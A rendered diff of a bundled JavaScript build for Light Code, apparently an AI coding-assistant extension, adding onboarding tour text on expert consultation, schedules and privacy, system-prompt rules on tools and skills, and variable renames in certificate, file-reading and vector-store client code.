"A **looked up** badge means the tool is kept out of the system prompt to save space - the default for MCP and Python tools. It is still callable: the assistant searches for it and calls it by name. A shorter prompt is not a shorter tool list; withholding a capability is what Approvals and modes are for."
|
|
50216
|
+
]
|
|
50217
|
+
},
|
|
50218
|
+
{
|
|
50219
|
+
id: "expert",
|
|
50220
|
+
title: "Expert - spend less on the hard parts",
|
|
50221
|
+
tab: "expert",
|
|
50222
|
+
completionEvents: ["onStepSelected"],
|
|
50223
|
+
altText: "The Expert tab, showing the enable toggle, command and model, the per-task spend and consultation limits, cost estimate, skill assessment, and the read-only tool restriction.",
|
|
50224
|
+
body: [
|
|
50225
|
+
"In **Junior mode** a cheap model does the work and consults Claude, through the Claude CLI, on the parts that need it. The expert plans, sets checkpoints, and reviews each one as the junior finishes it.",
|
|
50226
|
+
"It is read-only by construction - Read, Grep and Glob, never edit or execute - so a second agent can never act outside the approval gate. It keeps one session per task, which makes the first consultation the expensive one and every later one about nineteen times cheaper.",
|
|
50227
|
+
"**Budget per task** caps both spend and number of consultations, and the same control sits in the chat header so you can raise it mid-task. The expert is told what is left and plans to fit, gives you a cost estimate up front, and can assess how your primary model is doing."
|
|
50228
|
+
]
|
|
50229
|
+
},
|
|
50230
|
+
{
|
|
50231
|
+
id: "schedules",
|
|
50232
|
+
title: "Schedules - let it run on its own",
|
|
50233
|
+
tab: "schedules",
|
|
50234
|
+
completionEvents: ["onStepSelected"],
|
|
50235
|
+
altText: "The Schedules tab, showing a schedule name, prompt and interval, the file-permission, tool and skill filters for unattended runs, and the run history.",
|
|
50236
|
+
body: [
|
|
50237
|
+
"A prompt on a timer. Runs in the background without touching the chat you are in, and keeps running with the panel closed.",
|
|
50238
|
+
"Nobody is present to approve anything, so an unattended run does not inherit your auto-approve settings. Permission is granted **per schedule**: files are read-only unless you say otherwise, and you pick exactly which tools it may call. Creating Python tools or skills is never available to a schedule at all - model-authored code with no one watching is the one thing that stays out of reach.",
|
|
50239
|
+
"**A schedule names the skills it needs** rather than searching for them, under *What it should know*. Its tool list may not include `search_docs`, and a run that comes up empty has nobody to notice. All skills are included until you narrow it.",
|
|
50240
|
+
"Every run is logged with its full transcript, and `notify` raises a toast when a run has something to say."
|
|
50241
|
+
]
|
|
50242
|
+
},
|
|
50243
|
+
{
|
|
50244
|
+
id: "appearance",
|
|
50245
|
+
title: "Appearance - make it yours",
|
|
50246
|
+
tab: "appearance",
|
|
50247
|
+
completionEvents: ["onStepSelected"],
|
|
50248
|
+
altText: "The Appearance tab, showing the accent colour swatches, the expert colour swatches, and the reduced-motion toggle.",
|
|
50249
|
+
body: [
|
|
50250
|
+
"The panel follows your editor theme. Two colours are yours to set: the **accent**, used for anything actionable, and the **expert** colour, which marks authorship - text in it is Claude's words rather than your primary model's.",
|
|
50251
|
+
"Text on either is computed rather than fixed, so it stays readable whatever you pick. Motion follows your OS reduced-motion setting, and can be turned off here regardless."
|
|
50252
|
+
]
|
|
50253
|
+
},
|
|
50254
|
+
{
|
|
50255
|
+
id: "privacy",
|
|
50256
|
+
title: "What it does not do",
|
|
50257
|
+
completionEvents: ["onStepSelected"],
|
|
50258
|
+
altText: "A diagram of what leaves the machine: your gateway and MCP servers, plus the vector store and embedder only if Search is enabled; then the four things Light Code never does, and a warning that nothing is sandboxed.",
|
|
50259
|
+
body: [
|
|
50260
|
+
"No telemetry. No update checks. No default endpoints - a fresh install contacts nothing. No remote assets in the panel.",
|
|
50261
|
+
"The only hosts it ever reaches are the ones you configured: your gateway, your MCP servers, and - only if you turn Search on - your vector store and embedding endpoint.",
|
|
50262
|
+
"Two things are stated plainly rather than glossed. **Indexing is the largest egress in the product**: enabling it sends your workspace to the embedder. And **nothing is sandboxed** - commands, Python tools and MCP servers run as you, with your permissions, and Light Code does not protect you from another process running as the same user. Approval is the real boundary, which is why it is per-invocation and why every toggle ships off.",
|
|
50263
|
+
"Source, issues and the full security section: [github.com/chosengenerationdev/light-code](https://github.com/chosengenerationdev/light-code)"
|
|
50264
|
+
]
|
|
50265
|
+
}
|
|
50266
|
+
];
|
|
50267
|
+
|
|
49966
50268
|
// ../../packages/core/dist/config/scopes.js
|
|
49967
50269
|
var USER_SCOPE_ONLY_KEYS = [
|
|
49968
50270
|
"profiles",
|
|
49969
50271
|
"activeProfileId",
|
|
50272
|
+
// Names where inference goes, exactly as the other two do.
|
|
50273
|
+
"programmingProfileId",
|
|
49970
50274
|
"certDir",
|
|
49971
50275
|
// The whole block, not just uvPath: toolsDir and venvPath also name where code is found
|
|
49972
50276
|
// and run from, and dynamicTools decides whether model-authored code runs at all.
|
|
@@ -50510,7 +50814,7 @@ function describeTlsError(error51) {
|
|
|
50510
50814
|
}
|
|
50511
50815
|
|
|
50512
50816
|
// ../../packages/core/dist/providers/auth/certs.js
|
|
50513
|
-
import
|
|
50817
|
+
import crypto from "node:crypto";
|
|
50514
50818
|
import fs4 from "node:fs/promises";
|
|
50515
50819
|
import path6 from "node:path";
|
|
50516
50820
|
var CertError = class extends Error {
|
|
@@ -50547,12 +50851,12 @@ function assertKeyMatchesCert(cert, key, passphrase) {
|
|
|
50547
50851
|
let publicKey;
|
|
50548
50852
|
let privateKey;
|
|
50549
50853
|
try {
|
|
50550
|
-
publicKey = new
|
|
50854
|
+
publicKey = new crypto.X509Certificate(cert).publicKey;
|
|
50551
50855
|
} catch (error51) {
|
|
50552
50856
|
throw new CertError(`The certificate could not be parsed: ${error51 instanceof Error ? error51.message : String(error51)}`);
|
|
50553
50857
|
}
|
|
50554
50858
|
try {
|
|
50555
|
-
privateKey =
|
|
50859
|
+
privateKey = crypto.createPrivateKey(passphrase !== void 0 ? { key, passphrase } : { key });
|
|
50556
50860
|
} catch (error51) {
|
|
50557
50861
|
const message = error51 instanceof Error ? error51.message : String(error51);
|
|
50558
50862
|
if (/bad decrypt|bad password|passphrase/i.test(message)) {
|
|
@@ -50562,14 +50866,14 @@ function assertKeyMatchesCert(cert, key, passphrase) {
|
|
|
50562
50866
|
}
|
|
50563
50867
|
const probe2 = Buffer.from("light-code-key-match-probe");
|
|
50564
50868
|
try {
|
|
50565
|
-
const signature =
|
|
50566
|
-
if (!
|
|
50869
|
+
const signature = crypto.sign(null, probe2, privateKey);
|
|
50870
|
+
if (!crypto.verify(null, probe2, publicKey, signature)) {
|
|
50567
50871
|
throw new CertError("The private key does not match the certificate.");
|
|
50568
50872
|
}
|
|
50569
50873
|
} catch (error51) {
|
|
50570
50874
|
if (error51 instanceof CertError)
|
|
50571
50875
|
throw error51;
|
|
50572
|
-
const derived =
|
|
50876
|
+
const derived = crypto.createPublicKey(privateKey).export({ type: "spki", format: "der" });
|
|
50573
50877
|
const expected = publicKey.export({ type: "spki", format: "der" });
|
|
50574
50878
|
if (!derived.equals(expected)) {
|
|
50575
50879
|
throw new CertError("The private key does not match the certificate.");
|
|
@@ -50601,7 +50905,7 @@ async function loadCerts(config2) {
|
|
|
50601
50905
|
loaded.cert = cert;
|
|
50602
50906
|
loaded.key = key;
|
|
50603
50907
|
try {
|
|
50604
|
-
loaded.notAfter = new Date(new
|
|
50908
|
+
loaded.notAfter = new Date(new crypto.X509Certificate(cert).validTo);
|
|
50605
50909
|
} catch {
|
|
50606
50910
|
}
|
|
50607
50911
|
return loaded;
|
|
@@ -51701,8 +52005,8 @@ var SUPERSEDED_MARKER = "[Superseded: this file was read again later in the conv
|
|
|
51701
52005
|
function readFilePath(argumentsJson) {
|
|
51702
52006
|
try {
|
|
51703
52007
|
const parsed = JSON.parse(argumentsJson.length > 0 ? argumentsJson : "{}");
|
|
51704
|
-
const
|
|
51705
|
-
return typeof
|
|
52008
|
+
const path29 = parsed.path;
|
|
52009
|
+
return typeof path29 === "string" && path29.length > 0 ? path29 : void 0;
|
|
51706
52010
|
} catch {
|
|
51707
52011
|
return void 0;
|
|
51708
52012
|
}
|
|
@@ -51715,8 +52019,8 @@ function dropSupersededReads(messages) {
|
|
|
51715
52019
|
for (const toolCall of message.toolCalls ?? []) {
|
|
51716
52020
|
if (toolCall.name !== "read_file")
|
|
51717
52021
|
continue;
|
|
51718
|
-
const
|
|
51719
|
-
if (
|
|
52022
|
+
const path29 = readFilePath(toolCall.arguments);
|
|
52023
|
+
if (path29 === void 0)
|
|
51720
52024
|
continue;
|
|
51721
52025
|
keyByCallId.set(toolCall.id, toolCall.arguments);
|
|
51722
52026
|
}
|
|
@@ -52106,8 +52410,20 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
|
|
|
52106
52410
|
if (options.skills !== void 0 && options.skills.length > 0) {
|
|
52107
52411
|
lines.push("", options.skills);
|
|
52108
52412
|
}
|
|
52413
|
+
if (options.pythonToolsDisabled === true) {
|
|
52414
|
+
lines.push(
|
|
52415
|
+
"",
|
|
52416
|
+
"Python tools:",
|
|
52417
|
+
"- You cannot create runnable tools right now \u2014 the feature is switched off in Settings",
|
|
52418
|
+
" \u2192 Python.",
|
|
52419
|
+
// One line, unwrapped: it is the instruction that matters and a test asserts it verbatim.
|
|
52420
|
+
"- Do not write a script and call it a tool.",
|
|
52421
|
+
'- If the user asks for a "tool", say it is switched off and let them choose: enable it in',
|
|
52422
|
+
" Settings \u2192 Python, or have you write an ordinary script instead."
|
|
52423
|
+
);
|
|
52424
|
+
}
|
|
52109
52425
|
if (options.canWriteSkills === true) {
|
|
52110
|
-
lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", "- Before writing a new skill, check the list above: if one already covers the
|
|
52426
|
+
lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
|
|
52111
52427
|
}
|
|
52112
52428
|
if (options.expertAvailable === true) {
|
|
52113
52429
|
lines.push("", "Expert consultation:", "- A stronger model, Claude, is available through the ask_expert tool. You CAN talk to", " it. Never tell the user you have no way to reach another model \u2014 you do.", '- **If the user asks you to consult it, do so.** "Ask Claude", "check with the', ' expert", "what does Claude think" and anything similar are direct instructions.', " It is their money and their decision; do not talk them out of it or decide the", " question is too simple to be worth asking.", "- Otherwise, judge it yourself. It costs real money per call, so on your own", " initiative use it for: planning a change spanning several files, diagnosing a bug", " you have already failed to fix once, choosing between designs with long-lived", " consequences, or reviewing something subtle before committing to it.", "- On your own initiative, do not use it for anything you could answer by reading a", " file, for routine edits, or for restating something already established here.", "- If you decide against consulting it, say that you chose not to and why. Do not say", " you are unable to.", "- The expert can read and search this workspace but cannot edit or run anything. It", " cannot see this conversation, so put the context it needs in your question.", "- You remain responsible for the work. Treat its answer as advice from a colleague:", " verify it against the actual code, and say so if you disagree.");
|
|
@@ -52700,13 +53016,13 @@ var OpenSearchClient = class {
|
|
|
52700
53016
|
* `_bulk`, `_delete_by_query`, index creation — is refused here rather than merely
|
|
52701
53017
|
* unused, so no future edit or crafted argument can turn a read client into a writer.
|
|
52702
53018
|
*/
|
|
52703
|
-
async request(
|
|
53019
|
+
async request(path29, options = {}) {
|
|
52704
53020
|
const method = options.method ?? "GET";
|
|
52705
|
-
const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(
|
|
53021
|
+
const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path29);
|
|
52706
53022
|
if (method !== "GET" && !isSearchPost) {
|
|
52707
|
-
throw new OpenSearchError(`Refusing ${method} ${
|
|
53023
|
+
throw new OpenSearchError(`Refusing ${method} ${path29}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
|
|
52708
53024
|
}
|
|
52709
|
-
const url2 = `${this.base}${
|
|
53025
|
+
const url2 = `${this.base}${path29}`;
|
|
52710
53026
|
const request = {
|
|
52711
53027
|
method,
|
|
52712
53028
|
headers: this.headers()
|
|
@@ -52860,11 +53176,11 @@ function collectFields(properties, prefix, out) {
|
|
|
52860
53176
|
return;
|
|
52861
53177
|
for (const [name, raw] of Object.entries(properties)) {
|
|
52862
53178
|
const field = raw;
|
|
52863
|
-
const
|
|
53179
|
+
const path29 = prefix.length > 0 ? `${prefix}.${name}` : name;
|
|
52864
53180
|
if (typeof field.type === "string")
|
|
52865
|
-
out[
|
|
53181
|
+
out[path29] = field.type;
|
|
52866
53182
|
if (field.properties !== void 0)
|
|
52867
|
-
collectFields(field.properties,
|
|
53183
|
+
collectFields(field.properties, path29, out);
|
|
52868
53184
|
}
|
|
52869
53185
|
}
|
|
52870
53186
|
function describeStatus(status, url2, body) {
|
|
@@ -52883,23 +53199,23 @@ function describeStatus(status, url2, body) {
|
|
|
52883
53199
|
var TEXT_TYPES = /* @__PURE__ */ new Set(["text", "match_only_text", "search_as_you_type", "wildcard"]);
|
|
52884
53200
|
var KEYWORD_TYPES = /* @__PURE__ */ new Set(["keyword", "constant_keyword"]);
|
|
52885
53201
|
var NOISE_FIELDS = /* @__PURE__ */ new Set(["@version", "ecs", "tags", "stream", "input", "agent", "host", "event"]);
|
|
52886
|
-
function leafName(
|
|
52887
|
-
const parts =
|
|
52888
|
-
return parts[parts.length - 1] ??
|
|
53202
|
+
function leafName(path29) {
|
|
53203
|
+
const parts = path29.split(".");
|
|
53204
|
+
return parts[parts.length - 1] ?? path29;
|
|
52889
53205
|
}
|
|
52890
53206
|
function selectQueryFields(mapping, limit = 25) {
|
|
52891
53207
|
const text = [];
|
|
52892
53208
|
const keyword = [];
|
|
52893
|
-
for (const [
|
|
52894
|
-
if (NOISE_FIELDS.has(leafName(
|
|
53209
|
+
for (const [path29, type] of Object.entries(mapping)) {
|
|
53210
|
+
if (NOISE_FIELDS.has(leafName(path29)) || NOISE_FIELDS.has(path29.split(".")[0] ?? ""))
|
|
52895
53211
|
continue;
|
|
52896
53212
|
if (TEXT_TYPES.has(type)) {
|
|
52897
|
-
text.push(
|
|
53213
|
+
text.push(path29);
|
|
52898
53214
|
} else if (KEYWORD_TYPES.has(type)) {
|
|
52899
|
-
const parent =
|
|
52900
|
-
if (
|
|
53215
|
+
const parent = path29.replace(/\.keyword$/, "");
|
|
53216
|
+
if (path29.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
|
|
52901
53217
|
continue;
|
|
52902
|
-
keyword.push(
|
|
53218
|
+
keyword.push(path29);
|
|
52903
53219
|
}
|
|
52904
53220
|
}
|
|
52905
53221
|
const byDepth = (a, b) => a.split(".").length - b.split(".").length || a.localeCompare(b);
|
|
@@ -53041,8 +53357,8 @@ var OpenSearchIndexWriter = class {
|
|
|
53041
53357
|
}
|
|
53042
53358
|
return headers;
|
|
53043
53359
|
}
|
|
53044
|
-
async request(
|
|
53045
|
-
const url2 = `${this.connection.url.replace(/\/+$/, "")}${
|
|
53360
|
+
async request(path29, method, body, signal) {
|
|
53361
|
+
const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
|
|
53046
53362
|
const request = { method, headers: this.headers() };
|
|
53047
53363
|
if (body !== void 0) {
|
|
53048
53364
|
if (typeof body === "string") {
|
|
@@ -53197,13 +53513,13 @@ var OpenSearchIndexWriter = class {
|
|
|
53197
53513
|
for (const hit of hits) {
|
|
53198
53514
|
const source = hit._source ?? {};
|
|
53199
53515
|
const vector = source.vector;
|
|
53200
|
-
const
|
|
53201
|
-
if (typeof
|
|
53516
|
+
const path29 = source.path;
|
|
53517
|
+
if (typeof path29 !== "string" || !Array.isArray(vector))
|
|
53202
53518
|
continue;
|
|
53203
53519
|
documents.push({
|
|
53204
53520
|
id: hit._id ?? "",
|
|
53205
53521
|
text: typeof source.text === "string" ? source.text : "",
|
|
53206
|
-
path:
|
|
53522
|
+
path: path29,
|
|
53207
53523
|
startLine: typeof source.startLine === "number" ? source.startLine : 1,
|
|
53208
53524
|
endLine: typeof source.endLine === "number" ? source.endLine : 1,
|
|
53209
53525
|
vector
|
|
@@ -53277,8 +53593,8 @@ var RestTransport = class {
|
|
|
53277
53593
|
* threw would push every caller into catching and re-inspecting an error to find out
|
|
53278
53594
|
* whether it was really an error. `expectOk` is there for the cases that are.
|
|
53279
53595
|
*/
|
|
53280
|
-
async send(
|
|
53281
|
-
const url2 = `${this.connection.url.replace(/\/+$/, "")}${
|
|
53596
|
+
async send(path29, method, body, signal) {
|
|
53597
|
+
const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
|
|
53282
53598
|
const request = { method, headers: this.headers() };
|
|
53283
53599
|
if (body !== void 0)
|
|
53284
53600
|
request.body = JSON.stringify(body);
|
|
@@ -53304,11 +53620,11 @@ var RestTransport = class {
|
|
|
53304
53620
|
return { status: response.status, body: parsed };
|
|
53305
53621
|
}
|
|
53306
53622
|
/** Sends, and throws unless the status is 2xx. */
|
|
53307
|
-
async expectOk(
|
|
53308
|
-
const result = await this.send(
|
|
53623
|
+
async expectOk(path29, method, body, signal) {
|
|
53624
|
+
const result = await this.send(path29, method, body, signal);
|
|
53309
53625
|
if (result.status < 200 || result.status >= 300) {
|
|
53310
53626
|
const detail = typeof result.body === "string" ? result.body : JSON.stringify(result.body ?? "");
|
|
53311
|
-
throw new VectorStoreError(`${method} ${
|
|
53627
|
+
throw new VectorStoreError(`${method} ${path29} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
|
|
53312
53628
|
}
|
|
53313
53629
|
return result.body;
|
|
53314
53630
|
}
|
|
@@ -53402,10 +53718,10 @@ var ChromaSearcher = class extends ChromaBase {
|
|
|
53402
53718
|
const matches = [];
|
|
53403
53719
|
for (let index = 0; index < ids.length; index++) {
|
|
53404
53720
|
const metadata = metadatas[index] ?? {};
|
|
53405
|
-
const
|
|
53406
|
-
if (
|
|
53721
|
+
const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
|
|
53722
|
+
if (path29 === void 0)
|
|
53407
53723
|
continue;
|
|
53408
|
-
if (filtering && !
|
|
53724
|
+
if (filtering && !path29.startsWith(prefix))
|
|
53409
53725
|
continue;
|
|
53410
53726
|
const distance = distances[index];
|
|
53411
53727
|
const match = {
|
|
@@ -53417,7 +53733,7 @@ var ChromaSearcher = class extends ChromaBase {
|
|
|
53417
53733
|
*/
|
|
53418
53734
|
score: typeof distance === "number" ? 1 / (1 + Math.max(0, distance)) : 0,
|
|
53419
53735
|
text: documents[index] ?? (typeof metadata.text === "string" ? metadata.text : ""),
|
|
53420
|
-
path:
|
|
53736
|
+
path: path29
|
|
53421
53737
|
};
|
|
53422
53738
|
if (typeof metadata.startLine === "number")
|
|
53423
53739
|
match.startLine = metadata.startLine;
|
|
@@ -53522,13 +53838,13 @@ var ChromaIndexWriter = class extends ChromaBase {
|
|
|
53522
53838
|
for (let index = 0; index < ids.length; index++) {
|
|
53523
53839
|
const metadata = result.metadatas?.[index] ?? {};
|
|
53524
53840
|
const vector = result.embeddings?.[index];
|
|
53525
|
-
const
|
|
53526
|
-
if (
|
|
53841
|
+
const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
|
|
53842
|
+
if (path29 === void 0 || !Array.isArray(vector))
|
|
53527
53843
|
continue;
|
|
53528
53844
|
documents.push({
|
|
53529
53845
|
id: ids[index] ?? "",
|
|
53530
53846
|
text: result.documents?.[index] ?? "",
|
|
53531
|
-
path:
|
|
53847
|
+
path: path29,
|
|
53532
53848
|
startLine: typeof metadata.startLine === "number" ? metadata.startLine : 1,
|
|
53533
53849
|
endLine: typeof metadata.endLine === "number" ? metadata.endLine : 1,
|
|
53534
53850
|
vector
|
|
@@ -53545,9 +53861,9 @@ var ChromaIndexWriter = class extends ChromaBase {
|
|
|
53545
53861
|
const result = await this.rest.expectOk(`${this.base}/collections/${found.id}/get`, "POST", { include: ["metadatas"], limit }, options.signal);
|
|
53546
53862
|
const paths = /* @__PURE__ */ new Set();
|
|
53547
53863
|
for (const metadata of result.metadatas ?? []) {
|
|
53548
|
-
const
|
|
53549
|
-
if (typeof
|
|
53550
|
-
paths.add(
|
|
53864
|
+
const path29 = metadata?.path;
|
|
53865
|
+
if (typeof path29 === "string")
|
|
53866
|
+
paths.add(path29);
|
|
53551
53867
|
}
|
|
53552
53868
|
return [...paths];
|
|
53553
53869
|
}
|
|
@@ -53574,14 +53890,14 @@ var MARKER_ID = "5f6d2a41-0000-5000-8000-6c69676874c0";
|
|
|
53574
53890
|
var MARKER_MARK = "light-code";
|
|
53575
53891
|
function toMatch(point) {
|
|
53576
53892
|
const payload = point.payload ?? {};
|
|
53577
|
-
const
|
|
53578
|
-
if (
|
|
53893
|
+
const path29 = typeof payload.path === "string" ? payload.path : void 0;
|
|
53894
|
+
if (path29 === void 0)
|
|
53579
53895
|
return void 0;
|
|
53580
53896
|
const match = {
|
|
53581
53897
|
id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
|
|
53582
53898
|
score: typeof point.score === "number" ? point.score : 0,
|
|
53583
53899
|
text: typeof payload.text === "string" ? payload.text : "",
|
|
53584
|
-
path:
|
|
53900
|
+
path: path29
|
|
53585
53901
|
};
|
|
53586
53902
|
if (typeof payload.startLine === "number")
|
|
53587
53903
|
match.startLine = payload.startLine;
|
|
@@ -53744,13 +54060,13 @@ var QdrantIndexWriter = class extends QdrantBase {
|
|
|
53744
54060
|
const documents = [];
|
|
53745
54061
|
for (const point of result.body.result?.points ?? []) {
|
|
53746
54062
|
const payload = point.payload ?? {};
|
|
53747
|
-
const
|
|
53748
|
-
if (
|
|
54063
|
+
const path29 = typeof payload.path === "string" ? payload.path : void 0;
|
|
54064
|
+
if (path29 === void 0 || !Array.isArray(point.vector))
|
|
53749
54065
|
continue;
|
|
53750
54066
|
documents.push({
|
|
53751
54067
|
id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
|
|
53752
54068
|
text: typeof payload.text === "string" ? payload.text : "",
|
|
53753
|
-
path:
|
|
54069
|
+
path: path29,
|
|
53754
54070
|
startLine: typeof payload.startLine === "number" ? payload.startLine : 1,
|
|
53755
54071
|
endLine: typeof payload.endLine === "number" ? payload.endLine : 1,
|
|
53756
54072
|
vector: point.vector
|
|
@@ -53777,9 +54093,9 @@ var QdrantIndexWriter = class extends QdrantBase {
|
|
|
53777
54093
|
throw new VectorStoreError(`Could not list "${collection}" (HTTP ${String(result.status)}).`, result.status);
|
|
53778
54094
|
}
|
|
53779
54095
|
for (const point of result.body.result?.points ?? []) {
|
|
53780
|
-
const
|
|
53781
|
-
if (typeof
|
|
53782
|
-
paths.add(
|
|
54096
|
+
const path29 = point.payload?.path;
|
|
54097
|
+
if (typeof path29 === "string")
|
|
54098
|
+
paths.add(path29);
|
|
53783
54099
|
}
|
|
53784
54100
|
offset = result.body.result?.next_page_offset;
|
|
53785
54101
|
if (offset === void 0 || offset === null)
|
|
@@ -54933,14 +55249,14 @@ function formatBytes(size) {
|
|
|
54933
55249
|
return `${(size / (1 << 10)).toFixed(1)}KB`;
|
|
54934
55250
|
return `${String(size)}B`;
|
|
54935
55251
|
}
|
|
54936
|
-
async function readTail(
|
|
55252
|
+
async function readTail(fs23, path29, size, count) {
|
|
54937
55253
|
let span = Math.min(size, CHUNK);
|
|
54938
55254
|
let text;
|
|
54939
55255
|
let start;
|
|
54940
55256
|
for (; ; ) {
|
|
54941
55257
|
start = Math.max(0, size - span);
|
|
54942
55258
|
const decoder = new StringDecoder("utf8");
|
|
54943
|
-
text = decoder.write(await
|
|
55259
|
+
text = decoder.write(await fs23.readBytesSlice(path29, start, size)) + decoder.end();
|
|
54944
55260
|
const enough = text.split("\n").length > count;
|
|
54945
55261
|
if (enough || start === 0 || span >= size)
|
|
54946
55262
|
break;
|
|
@@ -54958,7 +55274,7 @@ async function readTail(fs20, path26, size, count) {
|
|
|
54958
55274
|
hasMoreAfter: false
|
|
54959
55275
|
};
|
|
54960
55276
|
}
|
|
54961
|
-
async function readLineWindow(
|
|
55277
|
+
async function readLineWindow(fs23, path29, size, from, count) {
|
|
54962
55278
|
const decoder = new StringDecoder("utf8");
|
|
54963
55279
|
const lines = [];
|
|
54964
55280
|
let pending = "";
|
|
@@ -54973,7 +55289,7 @@ async function readLineWindow(fs20, path26, size, from, count) {
|
|
|
54973
55289
|
};
|
|
54974
55290
|
scan: while (position < size) {
|
|
54975
55291
|
const end = Math.min(size, position + CHUNK);
|
|
54976
|
-
pending += decoder.write(await
|
|
55292
|
+
pending += decoder.write(await fs23.readBytesSlice(path29, position, end));
|
|
54977
55293
|
position = end;
|
|
54978
55294
|
const parts = pending.split(/\r\n|\r|\n/);
|
|
54979
55295
|
pending = parts.pop() ?? "";
|
|
@@ -54996,13 +55312,13 @@ async function readLineWindow(fs20, path26, size, from, count) {
|
|
|
54996
55312
|
hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
|
|
54997
55313
|
};
|
|
54998
55314
|
}
|
|
54999
|
-
async function countLines(
|
|
55315
|
+
async function countLines(fs23, path29, size) {
|
|
55000
55316
|
let newlines = 0;
|
|
55001
55317
|
let position = 0;
|
|
55002
55318
|
let lastByte = -1;
|
|
55003
55319
|
while (position < size) {
|
|
55004
55320
|
const end = Math.min(size, position + CHUNK);
|
|
55005
|
-
const buffer = await
|
|
55321
|
+
const buffer = await fs23.readBytesSlice(path29, position, end);
|
|
55006
55322
|
for (const byte of buffer)
|
|
55007
55323
|
if (byte === 10)
|
|
55008
55324
|
newlines += 1;
|
|
@@ -55075,7 +55391,7 @@ function chunkFile(content, options = {}) {
|
|
|
55075
55391
|
}
|
|
55076
55392
|
|
|
55077
55393
|
// ../../packages/core/dist/rag/indexer.js
|
|
55078
|
-
import
|
|
55394
|
+
import crypto2 from "node:crypto";
|
|
55079
55395
|
import fs5 from "node:fs/promises";
|
|
55080
55396
|
import path9 from "node:path";
|
|
55081
55397
|
var ALWAYS_SKIP = /* @__PURE__ */ new Set([
|
|
@@ -55170,7 +55486,7 @@ var SKIP_FILENAMES = /* @__PURE__ */ new Set([
|
|
|
55170
55486
|
".env"
|
|
55171
55487
|
]);
|
|
55172
55488
|
function hashContent(content) {
|
|
55173
|
-
return
|
|
55489
|
+
return crypto2.createHash("sha256").update(content).digest("hex").slice(0, 32);
|
|
55174
55490
|
}
|
|
55175
55491
|
function chunkSignatureFor(options) {
|
|
55176
55492
|
return JSON.stringify([options?.windowLines ?? null, options?.overlapLines ?? null, options?.maxChars ?? null]);
|
|
@@ -59074,12 +59390,12 @@ function createFetchWithInit(baseFetch = fetch, baseInit) {
|
|
|
59074
59390
|
}
|
|
59075
59391
|
|
|
59076
59392
|
// ../../node_modules/.pnpm/pkce-challenge@5.0.1/node_modules/pkce-challenge/dist/index.node.js
|
|
59077
|
-
var
|
|
59078
|
-
|
|
59393
|
+
var crypto3;
|
|
59394
|
+
crypto3 = globalThis.crypto?.webcrypto ?? // Node.js [18-16] REPL
|
|
59079
59395
|
globalThis.crypto ?? // Node.js >18
|
|
59080
59396
|
import("node:crypto").then((m) => m.webcrypto);
|
|
59081
59397
|
async function getRandomValues(size) {
|
|
59082
|
-
return (await
|
|
59398
|
+
return (await crypto3).getRandomValues(new Uint8Array(size));
|
|
59083
59399
|
}
|
|
59084
59400
|
async function random(size) {
|
|
59085
59401
|
const mask = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~";
|
|
@@ -59099,7 +59415,7 @@ async function generateVerifier(length) {
|
|
|
59099
59415
|
return await random(length);
|
|
59100
59416
|
}
|
|
59101
59417
|
async function generateChallenge(code_verifier) {
|
|
59102
|
-
const buffer = await (await
|
|
59418
|
+
const buffer = await (await crypto3).subtle.digest("SHA-256", new TextEncoder().encode(code_verifier));
|
|
59103
59419
|
return btoa(String.fromCharCode(...new Uint8Array(buffer))).replace(/\//g, "_").replace(/\+/g, "-").replace(/=/g, "");
|
|
59104
59420
|
}
|
|
59105
59421
|
async function pkceChallenge(length) {
|
|
@@ -61223,6 +61539,24 @@ async function loadSkills(dirs) {
|
|
|
61223
61539
|
skills.sort((a, b) => a.name.localeCompare(b.name));
|
|
61224
61540
|
return { skills, issues };
|
|
61225
61541
|
}
|
|
61542
|
+
function renderSkillsHintForPrompt(count) {
|
|
61543
|
+
if (count === 0)
|
|
61544
|
+
return "";
|
|
61545
|
+
const plural = count === 1 ? "note has" : "notes have";
|
|
61546
|
+
return [
|
|
61547
|
+
"## Skills",
|
|
61548
|
+
"",
|
|
61549
|
+
`${String(count)} ${plural} been recorded for this workspace: house conventions, internal`,
|
|
61550
|
+
"libraries, and gotchas specific to this codebase. They are not listed here.",
|
|
61551
|
+
"",
|
|
61552
|
+
"- Before working on an unfamiliar part of this workspace, or whenever the user mentions",
|
|
61553
|
+
" something internal you do not recognise, call search_docs to look for a relevant note.",
|
|
61554
|
+
'- Search by subject, in your own words \u2014 "how we call internal HTTP services", not a',
|
|
61555
|
+
" guessed file name.",
|
|
61556
|
+
"- A hit gives you the summary and a path. Read the file for the full text before acting",
|
|
61557
|
+
" on the subject."
|
|
61558
|
+
